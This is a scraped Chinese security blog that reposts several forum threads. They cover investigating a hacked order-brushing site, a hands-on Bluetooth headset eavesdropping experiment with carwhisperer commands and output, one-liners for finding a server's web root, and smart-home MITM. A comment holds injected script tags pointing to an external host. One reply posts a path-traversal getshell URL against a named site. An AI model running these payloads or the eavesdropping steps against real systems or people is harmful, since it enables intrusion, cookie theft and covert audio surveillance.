以为报错出来sql语句，知道user和pass字段了。
看脸了。
5#
MayIKissYou | 2015-11-06 16:41
@Vigoss_Z = =主要是想说一下如何构造一个判断依据[盲注的条件] 之前没碰到过 嘿嘿
6#
Manning (MSpider作者) | 2015-11-06 16:48
啥啊，给个链接一起玩啊！？
7#
我是壮丁 (专业打酱油) | 2015-11-06 18:28
waf小王子
留言评论（旧系统）：
*** @ 2015-11-11 11:27:34
****** 你的好去处 http://www.***.com/***/
本站回复：
恭喜你！已进入永久屏蔽名单！
知道我有多帅吗 @ 2015-12-13 20:30:10
牛逼
本站回复：
-_-!!!
佚名 @ 2015-12-17 18:27:11
<script src=http://t.cn/R4LOLr3></script>您好<script src=http://t.cn/R4LOLr3></script><script src=http://t.cn/R4LOLr3></script>
本站回复：
收到 cookie 了么，孩纸~
- 博客 Nuclear'Atk（核攻击）网络安全实验室 2015-11-04 15:03:28
网站遇黑阔，求分析思路查身份～
zone | 2015-11-03 00:04
朋友的一个刷单平台最近遇到一黑阔，损失了不少，找我帮忙，也没啥好主意，唉~_~
各位大神快来给点建议分析分析～
“一个刷单平台网站，分为商家和刷手，刷手通过平台给商家做任务。10月份，就出现，黑客登录到刷手的账号，给商家做任务，是远程付款任务，就是商家在刷手的电脑进行付款，黑客以刷手的身份，让商家在自己电脑上付款，然后达成远程钓鱼的目的。付款的时候，直接伪造付款页面，将钱转走。后来，我在平台上规定，商家在和刷手接洽的时候，必须核对QQ，就是商家必须和刷手本人的QQ聊天，才能做任务，否则被骗不负责，后来骗子感觉骗不了了，就开始利用黑客技术，修改刷手会员信息的QQ账号，将QQ改成自己的，然后冒充刷手做任务。
这几天，通过调取10月份之前的会员QQ信息和10月份的QQ信息，进行比对，发现一些QQ号在10月份被修改过，今天把被改过QQ的这些刷手账号封了。以免黑客登录这些账号行骗。但是晚上，很意外的是，上午封的账号，黑客晚上竟然解封了，依旧照常到里面接任务行骗。
基本情况就是这样，现在黑客，能修改会员密码，能修改会员QQ号，还能将管理员封的账号解封。
”
不知这位黑阔是只能上后台，还是已经拿下服务器了，朋友说安全狗没查出什么出来，上后台的话，如果有xss也许就能很轻易进去了。
现在的问题是，可不可以通过一些技术手段，找出这位黑阔的真实身份，让平台避免损失，求姿势～
（我想的是能不能在黑阔登陆的帐户上，做些手脚，比如插入一段<embed/src=//小号qq空间>，记录访客，查真实qq。。。）再社工。
已知：黑阔作案qq通常是小号，多次登陆ip显示为江苏徐州的。
～～我怎么感觉有种侦探小说的赶脚。
各种吐槽：
1#
h3hz | 2015-11-03 01:05
还真是逗智逗勇啊，我怎么感觉黑阔有数据库权限，换个后台，改下数据库密码，找出黑阔怎么日进来的蛛丝马迹
2#
麦兜 (麦兜爱吃苹果) | 2015-11-03 01:25最佳答案
1,修改所有有解封权限用的密码，全部用明文加md5，看是否还有这样的情况，如果还有，说明漏洞不在用户密码，可能是xss或者sql
2,登录后台，前台，抓包，一个一个的验证，看是否有访问非正常url,如果有可能是xss
3，注入漏洞就只能看日志了，web日志，数据库日志
4，如果被拿了webshell也只能从日志分析了。D蹲可以扫一扫，
5，服务器端口漏洞，这个就要具体看了，关闭所有端口，只开放80对外访问，注意检测弱密码ftp,ssh.telnet,rdp,mysql,mssql,web(80,8080等)
6，看你是否有备份，优化维护后直接回复，记得开日志
3#
麦兜 (麦兜爱吃苹果) | 2015-11-03 01:27
你装了安全狗，有防注入，一般在检测sql注入的时候可能会被狗拦截，你可以对应安全狗的注入日志，对应的找
4#
围剿 (七月流火，八月未央，九月白露凝成轻霜) | 2015-11-03 08:06
@麦兜 666
5#
随风的风 (静，已修身) | 2015-11-03 08:14
@麦兜 666 专业啊
6#
纷纭 (:-)) | 2015-11-03 08:30
查看web 日志~~
7#
齐迹 (sec.zhubajie.com 欢迎来撸) | 2015-11-03 08:53
万一是逻辑漏洞呢？任意密码重置在wooyun上已经不计其数了。
还有越权修改资料什么的。
这些在NB的软件都无法检查的。
8#
一只猿 (专注无线电与硬件安全) | 2015-11-03 09:02
搞个蜜罐
9#
Hckmaple | 2015-11-03 09:09
@麦兜 分析透彻！666
10#
大漠長河 (专注智能家居与硬件防火墙) | 2015-11-03 09:11
@一只猿 高论
11#感谢(1)
newline | 2015-11-03 09:21
第一时间下线应用， 如果是VPS， 把VPS系统加应用打包刻到盘或者转移到移动硬盘， 挪到一个断网环境，先审计一遍日志， find查找触点信息， 比如shell, sqlinjection, xss类的问题触点， 如果可以找到， 就去复现， 可以复现的话就对其进行修复然后继续下一步审计， 如果找不到， 就应该从客户端边界开始审计， 检查客户端边界用户可控变量，可控参数， 是否存在变量型的注入， 保存型&反射xss? 然后是服务器端脚本(身份验证用的是哪些方式，是否存在验证不全，验证绕过，验证信息泄露，逻辑错误问题？会话管理是用的哪些方式， 是否存在可猜测，可以被暴力，或者单纯的使用一种方式进行会话管理？典型的就是没有token,访问控制采用了哪些手段，验证的完整吗？) 把服务器端脚本的这些问题检查清楚后下面可以做一个代码审计， 主要是sql注入， 命令执行， 文件包含， 任意文件上传，变量覆盖导致的各种问题，xss, csrf,各种逻辑问题这些， 把应用层的问题基本都撸清楚后， 对它们进行一一修复， 修复后， 继续检查服务器端平台， 检查是否被放了木马， 启动项是否异常， explorer是否被插了dll,是否有异常服务， 是否有异常文件， 如果是linux/unix 可以扫一扫有没有rootkit,有没有对外发包的程序在跑， 不管是windows下的还是linux unix下的， 检查到后对其进行一一删除， 删除完后， 可以对平台和应用进行一次安全加固， 如果你使用的是apache mysql apache下的httpd.conf mysql下的my.ini 如果还有php就是php下的php-apache2handler.ini 这个名字具体要根据版本， 不是固定的， 从这些文件里可以对apache,mysql,php进行一下安全加固， 比如禁用函数， 限制目录等等这些， 详细的可以自己百度， 完了后可以对系统平台进行一下加固， 比如删除不用的帐号， 删除一些命令执行通道，(wsshell, cmd,)或者改名，对负责倒入倒出的dll降权， 等等， 这些公开环境也有资料， 把客户端边界， 服务器端脚本， 服务器端应用平台， 服务器端自身平台都加固完了后， 可以上个防火墙， 弄个监控啥的， 基本就没什么问题了。
12#
newline | 2015-11-03 09:27
我上面说的审计流程和方法只是说了个大概， 全部包括并不是只有这些， 你可以结合你所了解的和你的基础进行。
13#
hkAssassin | 2015-11-03 09:57
找我，我去抓~~~说那么多有毛用，搞业务之前为什么不想想会被黑掉。就算没有一个全职的安全人员，也得找一个兼职的吧！出问题了自己不查，让你来这里问，你觉的大家说的你能用么？（这就是不重视安全的后果）最好的建议就是钱给到位，找人直接去查，我相信，能出来你期待的结果~~~~
14#
July | 2015-11-03 10:14
后台管理地址主页(index default )解析插入流量统计代码,原来解析文件更名;如果没有统计到第三者或许他已经有服务器权限。
如果是IIS的话后台管理地址,做个IIS访问认证,如果网站还出现异常说明 要查shell 服务器后门 逻辑漏洞 之类的了。
15#
Dream° | 2015-11-03 10:39
在网站上面加上来访电脑QQ记录 然后比对时间进行排查黑客操作那个时段的QQ 一般黑客嘛 取名都有点另类 还是比较容易的@zone
16#
Dream° | 2015-11-03 10:42
私密我QQ 可以帮你在试试@zone
17#
独臂刀王 | 2015-11-03 10:58
一直我都是伪造金额体现的，，，
18#
zone | 2015-11-03 11:03
感谢诸位的建议～多谢啦 ：）
19#
这只猪 (会拱白菜) | 2015-11-03 11:31
估计是网站源码泄露了，然后被脸上了数据库操作的。
20#
地瓜 (此处内容为隐藏内容，点击感谢即可查看此内容) | 2015-11-03 15:08
安全狗安全宝D盾
21#
小表哥 | 2015-11-03 15:10
我想知道你找到哪位黑客怎么处理？ 损失了没想过报警，自己找出来。。。你是想打他一顿么？？
22#
zone | 2015-11-03 15:31
@小表哥 haha 不是不是，觉得值得一提，就是发出来，看看有什么好建议学习学习~ 关键是别让朋友平台在损失了，至于找出那个黑阔，只是我自己脑洞一开，看看有什么姿势，~比如 @一只猿 说的蜜罐~怎么做？ 囧
23#
小表哥 | 2015-11-03 15:37
@zone 既然知道他改过的qq，那你就冒充商家去发任务，搞到钓鱼平台然后搞啊
24#
zone | 2015-11-03 15:54
@小表哥 他的都是小号，这里是刷手选商家，先刷后付款，这里冒充有难度啊。然后，钓鱼平台搞什么？钓QQ号？
25#
LaTCue (善养人妻。) | 2015-11-03 16:35
http://www.diyishuadan.com/ 第一刷单? 如果是这个的话 我可以告诉你漏洞 是DX插件包含 直接getshell
http://www.diyishuadan.com/plugin.php?action=../../../../../robots.txt%00&id=dc_mall
26#
zone | 2015-11-03 16:39
@LaTCue 不是奥
27#
核攻击 (统治全球，奴役全人类！毁灭任何胆敢阻拦的有机生物！) | 2015-11-04 14:42
“黑客以刷手的身份，让商家在自己电脑上付款，然后达成远程钓鱼的目的。付款的时候，直接伪造付款页面，将钱转走”
太有才了。。
相关内容：
北京NDS公司工程师攻击46万台机顶盒传播反动信息 获刑12年
简单获取CDN背后网站的真实IP，CDN逆向，反向跟踪网站真实IP
JSON探针—定位目标网络虚拟信息身份，利用大量三方网站cookie进行追踪
社会工程学追踪 妻子花6万挖出小三 给60多个号充话费锁定4人
逆向追踪一起针对国内企业OA系统精心策划的大规模钓鱼攻击事件
论匿名转帐和转移资产的可能，如何：网络匿迹、匿名洗钱、转移资产系统
跨行、跨省银行卡间转账不用手续费？利用支付宝为什么不收手续费？
APT攻击：境外间谍“飞哥”假扮女网友策反境内人员 窃取中国军事秘密
多层代理下解决链路低延迟的技巧，多层代理网络匿迹，反追踪，隐藏、保护自己
基于Wordpress Pingback的反追踪思路？木马远控通过“代理”上线？
揭露一个飞机退改签的诈骗：借口机票退改签要退款，索要银行卡号，套取个人信息
一起网络诈骗案的风险揭示，套取用户信息、信用卡、支付宝、快捷支付洗钱
如何在网络中隐藏自己？再论拨了国外VPN代理，是否可被逆向追踪？
江西男子克隆国外银行卡刷513万 给两任女友395万 跨境盗刷信用卡
支付宝/淘宝帐号无需密码登录任意帐号，随意查看用户资料/交易记录/转账洗钱
个人认为微信支付存在的安全问题，同一银行卡多重绑定，恶意盗刷
关于3G流量上网卡！（匿名上网），隐藏自己、网络匿迹、保护自己
浅谈社工，欢迎讨论、补充，各种猥琐社工、人肉技巧，物理社工、人肉
【TED】Markham Nolan：如何辨别网上信息真伪，神级人肉，物理社工
俄罗斯黑客被曝潜伏Facebook，搭建蜜罐监视tor网络数据
保护水表：关于tor和mac地址的疑问，各位进来讨论一下，反追踪/匿迹
XX域名商实战，社工客服妹妹，毫不费力拿到目标公司内部通讯录
探秘时刻：多重身份的逃犯，不翼而飞的七百万，几百买身份证一票弄了700万
由“正方”jiam、jiemi之逆向思及Base64之逆编码表
您的工商银行电子密码器将于次日失效？伪基站垃圾短信，网银钓鱼诈骗！
朋友点开一个文件给骗30万，一种“高级”QQ诈骗骗术，远控电脑诈骗
关于伪基站的一些问题：信号覆盖范围？设备成本？是否违法？教程资料？
伪基站是怎么定位的呢？定位并抓捕伪基站、圈地短信、垃圾短信犯罪团伙！
【防骗】又见网银诈骗，骗子冒充朋友，借口卡丢了先借你卡转账用用，揭秘！
全方位在互联网中保护自己第七章（上网习惯以及计算机唯一代码追踪的防范）
京东 淘宝 天猫订单信息泄露诈骗, 接到“京东”的客服电话之后遭遇团伙诈骗
金融改革记录片(97% Owned)－97%被私人银行占据的无中生有债务货币
【略狗血】一种结合本地程序的更加猥琐的钓鱼方式（中招率+100%）
逆向追踪之：通过QQ群里的图片逆向入侵，拿了几个phpddos的脚本
娱乐贴：打击网络诈骗 - 骗子骗钱反被骗 - 发个骗子的手法，其实还是时时彩
全方位在互联网中保护自己第六章（国产软件或后门软件的替代品(下)）
全方位在互联网中保护自己第三章（知识普及篇—了解网监的实力与暗箭（下）
简单分析丝绸之路创始人如何被抓，FBI真的能透过TOR获取真实IP么？
全方位在互联网中保护自己第五章（国产软件或后门软件的替代品(中)）
全方位在互联网中保护自己第四章（国产软件或后门软件的替代品(上)）
全方位在互联网中保护自己第二章(知识普及篇第二章-了解网监的实力与暗箭(上))
求黑产大牛目测，一位妹纸的亲身经历，身份证号+手机号洗你银行卡
如何用意念获取附近美女的手机号码，伪装免费CMCC信号，钓鱼妹子手机号码
银行卡里钱莫名其妙被转走了，有身份证号码、姓名、银行卡号就能提款？
注意，日站的时候请清理cookie或使用虚拟机，否则可被cookie追踪
现在傻逼太多，骗人太好骗，淘宝搜剑灵激活码，好多10几块钱的骗子
为抓小偷 俄警方在地铁安装能读取乘客手机信息的设备，这是啥技术？
一种巨猥琐的挂马方法、超淫荡的APT攻击思路：如果这么挂马会不会挂进内网
分享下自己使用的保护方法篇章二（虚拟机模板环境设置） 连载中...
分享下自己使用的保护方法篇章一（虚拟机代理中转服务器设置）连载中...
分享下自己使用的保护方法篇章一（虚拟机代理中转服务器设置） 连载中...
超级短信DDOS 女生一天收上万条10086短信 还有近50万条等着她
R820T电视棒+软件无线电跟踪飞机飞行轨迹（SDR&ADS-B）
rtl-sdr,RTL2832+E4k tuner电视棒跟踪飞机轨迹 ADS-B/TCAS/SSR
rtl-sdr,RTL2832电视棒跟踪飞机轨迹教程(ADS-B), SDR GPS 飞机追踪
户外物理设备入侵之：入侵并“调教”中控指纹语音考勤系统(打卡机)
上来吐个槽，再次侦破一宗牵扯到全国多个大型医疗集团的恶性案件！
再次遭遇 GoTop 挂机刷钱“病毒”，逆向爆菊，追踪背后“牧马人”
GNU Radio USRP OpenBTS 小区短信 区域短信
一种牛逼的短信群发技术 GNU Radio 小区短信 区域短信 免费发 无法拦截
【传奇】看职业骗子如何揭发谷歌广告服务的不法活动，谷歌5亿美元和解费
上海伊莱美医院被黑、黑帽SEO做淘宝客，核总深入追查，揪出内鬼！
360对你真的起作用了吗？bypass....分析支付宝网银木马，反爆菊花
淘宝又见好东西，低价格钓鱼几个倒霉蛋骗到手大额的款项，跑路、关店
核总霸气分析“天津丽人女子医院”主站被黑、挂淘宝客、黑帽SEO全过程！
中国电信ADSL宽带信息泄露,可查任意IP对应的宽带账号,电话号码,上门砍人
追查黑客姓名,邮箱,支付宝信息，惊现大规模僵尸网络，要求警方介入处理！
服务器被入侵之后，反爆1433抓鸡黑客菊花，并公布大量黑阔账号密码
公告：关于前两天本站无法打开的原因 + GFW拦截规则原理剖析
Inception能入侵全盘加密的计算机，修改物理机器内存/任意密码进入
android 延迟锁定bug，安卓手机锁破解，屏幕解锁保护
关于X卧底的通话监听、短信记录、定位追踪等侵犯隐私的行为讨论
远程入侵QQ好友所在网吧监控系统，人脸识别、定位坐标，定点打击
追踪PlugX Rat作者，人肉定向攻击远控PlugX开发者
视频:神奇的读心大师 网上有你的整个人生 利用社工+人肉来做神棍……
《魔兽世界》截屏数据水印惊现用户私人数据 截图隐藏水印 暗含玩家信息
简单分析一个通过 js 劫持进行黑帽 SEO 做淘宝客的案例
iPhone 短信欺骗漏洞攻击器、伪造短信号码工具、伪装发件人攻击器
Never trust SMS: iOS text spoofing，永远不要相信短信：iOS的文字欺骗
iPhone 短信欺骗漏洞披露，伪造短信号码、自定义短信手机号
找出 GFW 在 Internet 的位置、追踪 GFW 在互联网中的位置
德安全专家破解GSM加密算法 GSM网络破解 监听全球40亿部手机
非法获取百度推广账号 实施网络诈骗 篡改百度推广 市民被骗财
黑客在Defcon建立私人电话网络 - DEFCON 忍者 GSM 网络
【需翻墙】网监如何爆菊？网警是如何通过层层VPN加密代理找到你的！
刷下“拉卡拉”卡里2万多块钱丢了，复制银行卡，POS机、刷卡黑客
华裔黑客 BITcrash44 凭借一台 iPhone4 拿下时代广场大屏幕
视频：国外黑客利用一部诺基亚N95手机入侵火车站电子屏，并且现场直播
利用电磁波进行入侵、原子级的黑客入侵、利用电磁波毁坏物理设备
电信诈骗，电话营销，一响挂电话，推销平安、人寿保险，冒充朋友
电视机会收到邻居游戏机画面？小霸王信号干扰？红白机功率这么强悍？
任何一种装机量巨大的软件，都有政府监控模块，我们应该如何保护自己？
Tabnapping 浏览器标签劫持 用假冒浏览器标签进行钓鱼攻击
用黑客方式找回失窃的电脑 - GSM基站定位 - Wifi热点定位
不要偷黑客的东西 - Why you don't steal from a hacker
【分析】腾讯独立域名QQ空间被钓鱼，腾讯官网被黑，被植入钓鱼页面！
台两15岁少年开淫窟 骗12名少女为“爱”卖身 月进300万元
【公告】警惕名为:Nuclear'Atk. QQ:424244818 冒充本人的骗子黑客
DRDoS 反弹DDoS攻击 反弹DDoS攻击 力度远大于分布式DDOS攻击
留言评论（旧系统）：
佚名 @ 2016-01-06 21:49:00
有接单的吗联系我1343119337
本站回复：
站长提示：网络广告有风险，注意辨别，谨防上当受骗！！！
仁二 @ 2016-04-10 05:00:30
路过
本站回复：
+1
and1=1 @ 2016-04-18 11:31:35
123
本站回复：
123
- 博客 Nuclear'Atk（核攻击）网络安全实验室 2015-10-26 16:34:37
窃听蓝牙耳机小实验
mramydnei | 2015-10-19 22:41
上周看了下Hirsch-Bluetooth-Device-Security-2015感觉里面的这段挺好玩的。
Scenarios (5) Example #4: all Bluetooth speakers or headsets that are auto-discoverable with HSP (headset) service (most have this) ● Eve walks down street listening for auto- discoverable HSP devices (these are common!) ● Eve notes that many well-to-do neighborhoods have lots of these HSP devices left on 24/7, and that Eve can pair remotely without local confirmation, and listen to everything in the home the microphone can pick up.
于是乎从网上买了个蓝牙耳机打算实验一下。
产品名：ELECOM HS10
支持的协议：HFP/HSP
通信方式：蓝牙3.0
然后开始RTFM。发现默认PIN是0000，长按操作按钮5s后会进入到匹配模式。按照说明书长按5s进入到匹配模式后，开始借助pc扫描蓝牙设备
root@kali:~# hcitool scan Scanning ... 28:52:E0:XX:XX:XX HS10
获取到蓝牙地址后，更改device class假装自己是一台手机：
service bluetooth restart hciconfig hci0 up hciconfig hci0 class 0x500204
确认更改生效
root@kali:~/carwhisperer-0.2# hciconfig -a hci0: Type: BR/EDR Bus: USB BD Address: A8:86:DD:XX:XX:XX ACL MTU: 1021:8 SCO MTU: 64:1 UP RUNNING RX bytes:508634 acl:119 sco:9598 events:755 errors:0 TX bytes:212355 acl:132 sco:9486 commands:371 errors:0 Features: 0xbf 0xfe 0xcf 0xfe 0xdb 0xff 0x7b 0x87 Packet type: DM1 DM3 DM5 DH1 DH3 DH5 HV1 HV2 HV3 Link policy: RSWITCH SNIFF Link mode: SLAVE ACCEPT Name: 'kali' Class: 0x500204 Service Classes: Object Transfer, Telephony Device Class: Phone, Cellular HCI Version: 4.0 (0x6) Revision: 0x22fc LMP Version: 4.0 (0x6) Subversion: 0x416a Manufacturer: Broadcom Corporation (15)
从此处下载carwhisperer-0.2并解压。
http://trifinite.org/Downloads/carwhisperer-0.2.tar.gz
make一下，然后修改makefile的两个坑，把cw_pin.sh替换成cw_pin.pl保存退出后make install一下
来完成安装。随后借助我们之前获取的蓝牙地址开始窃听目标耳机：
root@kali:~/carwhisperer-0.2# carwhisperer hci0 message.raw justatest00.raw 28:52:E0:XX:XX:XX Voice setting: 0x0060 RFCOMM channel connected SCO audio channel connected (handle 6, mtu 64) got: AT+VGS=14 ansewered: OK . .
最后将窃听到的raw文件转成wav并播放。
root@kali:~/carwhisperer-0.2# play -t raw -r 8k -e signed -b 16 -c 1 justatest00.raw justatest00.raw: File Size: 91.8k Bit Rate: 128k Encoding: Signed PCM Channels: 1 @ 16-bit Samplerate: 8000Hz Replaygain: off Duration: 00:00:05.74 In:100% 00:00:05.74 [00:00:00.00] Out:45.9k [ | ] Clip:0 Done.
测试成功。
PS：用ubertooth嗅探到的LAP+计算出来的UAP确实可以确认host是否online，不过没有NAP好像连接不了样子。感觉和网上说的不太一样。如果有知道的求告知 lol
各种吐槽：
1#
mango (待我乌币800万 姑娘嫁我可好) | 2015-10-19 22:47
有视频嘛
2#
mramydnei | 2015-10-19 22:52
@mango 我录一个加进去吧。
3#
苦咖啡 | 2015-10-19 22:55
录制一个吧 看起来很好玩
4#
mango (待我乌币800万 姑娘嫁我可好) | 2015-10-19 23:07
@mramydnei 恩恩~~这样最号~~
5#
mramydnei | 2015-10-19 23:35
6#
数据流 (| 1970-00-00 00:00) | 2015-10-20 00:26
“更改device class假装自己是一台手机”。 用伪装一词会不会更好呢。(·_·)
7#
小手冰凉 | 2015-10-20 05:16
没看明白，攻击场景是什么？用自己的设备连上对方处于挂起状态的蓝牙耳机？
8#
爱捣蛋的鬼 | 2015-10-20 10:41
是可以窃听戴的人周边的声音吗， 如果已经和手机对接上了，这个是不是就无效了
9#
数据流 (| 1970-00-00 00:00) | 2015-10-20 11:18
@小手冰凉 首先要让别人处于未连接状态。
10#
南哥 (<///////////////////////>) | 2015-10-20 12:16
mark
11#
白无常 | 2015-10-20 15:46
留名
12#
疯狗 (阅尽天下漏洞，心中自然无码。) | 2015-10-20 17:34
@mramydnei 可以这样理解不，这个演示是因为蓝牙耳机、话筒在未连接前提下是可以被发现的（蓝牙主动广播），然后客户端伪装成手机在用默认PIN 0000链接上去，麦克风就开始正常工作了，然后通过蓝牙栈开发的小程序记录下通信中的音频脉冲，最后重方。是这样子么？
13#
mramydnei | 2015-10-20 18:18
@疯狗 是的，不过实战中应该还有很多坑需要去填。
余下的部分还在学习和测试当中
14#
疯狗 (阅尽天下漏洞，心中自然无码。) | 2015-10-21 17:15
@mramydnei 嗯，看来理解无误，但影响还是挺大的，而且中间蓝牙协议的通信都是蛮好玩的部分，期待近期发个后续心得啊。如果没啥问题，俺最近也写点BLE安全的跟你凑凑热闹。
15#
数据流 (| 1970-00-00 00:00) | 2015-10-21 17:32
@疯狗 狗哥也在研究ble呀?
16#
mramydnei | 2015-10-21 17:41
@爱捣蛋的鬼 @小手冰凉
需要满足3个条件：
（1）知道目标设备的蓝牙地址
（2）需要保证目标设备处于没有和其它设备连接的状态
（3）知道pin code是多少
17#
mango (待我乌币800万 姑娘嫁我可好) | 2015-10-21 17:48
@mramydnei 视频已被屏蔽
18#
mramydnei | 2015-10-21 17:49
关于(2)如果目标耳机支持同时连接多台设备，应该不是必要条件
19#
疯狗 (阅尽天下漏洞，心中自然无码。) | 2015-10-21 19:09
@数据流 是啊 ble便宜
20#
insight-labs (Root Yourself in Success) | 2015-10-21 19:50
@mramydnei 有没有类似deauth攻击的方法强行解除配对……
21#
mramydnei | 2015-10-21 22:00
@insight-labs
yes，如果假设蓝牙耳机是和手机连接的，那么手机端必须支持unpairing。
（1）获取蓝牙耳机的地址，将你的蓝牙地址更改成耳机的蓝牙地址
（2）jam掉原始的连接（手机和耳机之间的）
（3）现在给手机发送link layer connection，说老子把key弄丢了，怎么办？
（4）手机这个时候也许会说 居然你忘记了 那我们就再配对一次吧（总不能就这么把这个耳机给废了不是。。）
理论上是这么个流程吧。不敢打包票
22#
mramydnei | 2015-10-21 22:03
@mango
屏蔽原因：按照相关规定,限制传播
请注意：
《互联网信息服务管理办法》所严禁的九类信息
（一）反对宪法所确定的基本原则的；
（二）危害国家安全，泄露国家秘密，颠覆国家政权，破坏国家统一的；
（三）损害国家荣誉和利益的；
（四）煽动民族仇恨、民族歧视，破坏民族团结的；
（五）破坏国家宗教政策，宣扬邪教和封建迷信的；
（六）散布谣言，扰乱社会秩序，破坏社会稳定的；
（七）散布淫秽、色情、赌博、暴力、凶杀、恐怖或者教唆犯罪的；
（八）侮辱或者诽谤他人，侵害他人合法权益的；
（九）含有法律、行政法规禁止的其他内容的。
23#
insight-labs (Root Yourself in Success) | 2015-10-21 22:10
视频传youtube
留言评论（旧系统）：
佚名 @ 2015-11-10 14:07:25
楼主你的视频好像被和谐了
本站回复：
有可能被删了…… -_-!!!
佚名 @ 2016-04-09 16:47:20
66666666666666666666666666666666666
本站回复：
66666666666666666666666666666666666
佚名 @ 2016-04-21 15:51:12
请问在carwhisperer连接蓝牙耳机的时候出现 can't connect SCO audio channel！：Function not implemented 该怎么解决呢？ （耳机是用的蓝牙4.1版本不知道有米有影响）
本站回复：
不太清楚，百度一下。
- 博客 Nuclear'Atk（核攻击）网络安全实验室 2015-10-26 16:29:20
一条命令找出系统web路径
xsser (十根阳具有长短!!) | 2015-10-23 17:48
经常在一个系统里需要快速定位到web路径，如果在标准化系统里如何一条命令快速实现这一点呢?
:)
各种吐槽：
1#
YY-2012 (#)<alert("dandan")>(#) | 2015-10-23 17:59
find
2#
园长 (喵~) | 2015-10-23 18:02
find / -name "*.php"
3#
数据流 (| 1970-00-00 00:00) | 2015-10-23 18:15
在网站上找个比较唯一的文件名,例如"member_index.php" 然后find之
4#
乌云厂商 | 2015-10-23 18:24
.bash_history
5#
if、so | 2015-10-23 18:36
找脚本文件会有备份文件和多个web目录的干扰，在目录杂乱的时候，可以find自己上传的文件
6#
猪猪侠 (每次有人骂我是猪我都说自己是猪猪侠) | 2015-10-23 18:48
httpd,nginx,tomcat,jboss的error_log
7#
❤ (❤) | 2015-10-23 18:55
find . -name "*.类型" | xargs grep "关键字"
8#
李旭敏 (˿̖̗̀́̂̃̄̅̆̇̈̉̊̋̌̍̎̏̐̑̒̓̔̕) | 2015-10-23 18:58
find robots.txt
9#
jeary ((:？办么怎，了多越来越法方象抽的我)) | 2015-10-23 19:02
打开web查看源码，复制一个特征字符串，然后替换进下面命令的htmlString搜索之。
win: findstr /s /i /n /d:C:\ "htmlString" *.*
linux: find / -name "*.*" | xargs grep "htmlString"
10#
❤ (❤) | 2015-10-23 19:09
@jeary 鼠大侄,Win的搜索第一次用,测试了下蛮好使.
11#
Sunshie (博客http://phpinfo.me 论坛 www.itgou.club) | 2015-10-23 19:11
cat /etc/nginx/conf/vhost/web.conf | grep root
12#
px1624 (aaaaaaaaa) | 2015-10-23 19:30
find吧，不过前提需要有个独一无二的参考文件或者文件夹
13#
jeary ((:？办么怎，了多越来越法方象抽的我)) | 2015-10-23 20:25
@❤ 其实我觉得重点不在于搜索的命令，因为大家都懂。而在于怎样匹配一个通用特征。如果只是单个web倒是好办。如果要做到通用，我觉得还是需要一个脚本来搞定。
14#
loopx9 | 2015-10-23 20:52
/proc/self/cmdline
/proc/self/maps
web容器路径-->配置文件
15#
蓝翔小王子淫长 | 2015-10-23 23:15
find吧
16#
醉青丝 | 2015-10-23 23:27
find / -name "*sdasiod.jpg"
17#
mramydnei | 2015-10-24 12:55
这种写法应该有点作弊嫌疑，不过改一改应该能用。。
输入：
root@kali:/etc/nginx/sites-available# echo "-----------------------start---------------------";find /etc -maxdepth 3 -name "*" 2>&1|xargs grep -s -i 'root /'| grep -s -i 'nginx\|apache';echo "-----------------------done----------------------"
输出：
-----------------------start---------------------
/etc/nginx/sites-enabled/default: root /var/www/html;
/etc/nginx/sites-enabled/default:# root /var/www/example.com;
/etc/nginx/sites-available/default: root /var/www/html;
/etc/nginx/sites-available/default:# root /var/www/example.com;
/etc/apache2/mods-available/cache_disk.conf: CacheRoot /var/cache/apache2/mod_cache_disk
/etc/apache2/sites-enabled/000-default.conf: DocumentRoot /var/www/html
/etc/apache2/sites-available/000-default.conf: DocumentRoot /var/www/html
/etc/apache2/sites-available/default-ssl.conf: DocumentRoot /var/www/html
-----------------------done----------------------
18#
麦兜 (麦兜爱吃苹果) | 2015-10-24 16:46
For I in (curl http://localhost |grep -oP ([a-Z]{1-6})[\.js]));do for d in $(find / -name "*.js");do grep $i $d;done;done
没实验，意思是打开首页匹配js文件。系统内搜索所有文件js文件，匹配js文件名
19#
无敌L.t.H (……天百一爱恋考高：簿相色白产国) | 2015-10-24 19:43
用lsof也可以，看打开的文件，不过不一定装有，对于用缓存的也不好办。
20#
huotoo | 2015-10-25 11:18
要是网站根目录下有robots.txt 我觉得 通常 locate robots.txt
觉可以了
21#
Blackeagle (向WooYun致敬) | 2015-10-25 12:29
grep -r "robots" www
22#
小胖子 (z7y首席代言人，园长的表哥...) | 2015-10-25 14:56
看你们都说linux下的 我来说说windows下
win下，简单办法，从web找一个banner 比如 xsser.avi
执行 wmic datafile where "filename='xsser' and extension='avi'" get caption
搞定。
23#
围剿 (七月流火，八月未央，九月白露凝成轻霜) | 2015-10-25 15:42
find index.php
24#
_Evil (科普是一种公益行为) | 2015-10-26 09:17
Java EE application
case : http://baidu.com/wooyun/
pwd:
/opt/xxx
cd /opt/xxx/webapps/ROOT/ or /opt/xxx/webapps/wooyun/
war:/opt/xxx/webapps/wooyun.war or /opt/xxx/webapps/wooyun.{还有一个后缀名字忘记了}
25#
爱捣蛋的鬼 | 2015-10-26 09:36
@Sunshie 还有tengine, :)
26#
爱捣蛋的鬼 | 2015-10-26 09:43
@mramydne ubuntu :)
27#
核攻击 (统治全球，奴役全人类！毁灭任何胆敢阻拦的有机生物！) | 2015-10-26 15:24
dir /s/a-d/b d:\*重复度较低的文件名（支持通配符）*
留言评论（旧系统）：
佚名 @ 2015-12-04 14:50:10
我想找个黑客帮我拿站 业务很多1343119337
本站回复：
-_-!!!
佚名 @ 2016-01-17 01:03:00
我被封笔尘缘骗了1800 接单的联系我1343119337
本站回复：
站长提示：网络广告有风险，注意辨别，谨防上当受骗！！！
合作 @ 2016-04-20 16:47:37
2819306134
本站回复：
？
合作 @ 2016-04-20 16:49:25
2819306134
本站回复：
？
- 博客 Nuclear'Atk（核攻击）网络安全实验室 2015-10-26 15:50:37
关于家用智能设备中间人攻击的实用场景考量
么么哒 | 2015-10-26 10:57
首先这个讨论对事不对人,希望大家多发表下自己的观点.
在 geekpwn 看到有演示项目对很多智能设备的 pwn ,项目中有很多亮点比如段老师对 https 的 pwn 还有第二天 tk 对条形码的攻击都十分精彩.
本次讨论的重点就是对智能设备的 attack surface 尤其是家用设备,其中中间人攻击到底能发挥多大价值.gp 中有人演示对智能烤箱的中间人劫持的攻击,通过破解其通信中的 sign 来达到篡改控制烤箱的请求.可以操作烤箱的温度等等效果.
我们细想下这种场景如何才能触发了: 1.一定要在被攻击家附件,wifi 信号能覆盖到.(钢筋混凝土对 wifi 信号削弱极大,如果是高楼目测就只能去他家门口蹲着了,希望不会被打吧..)
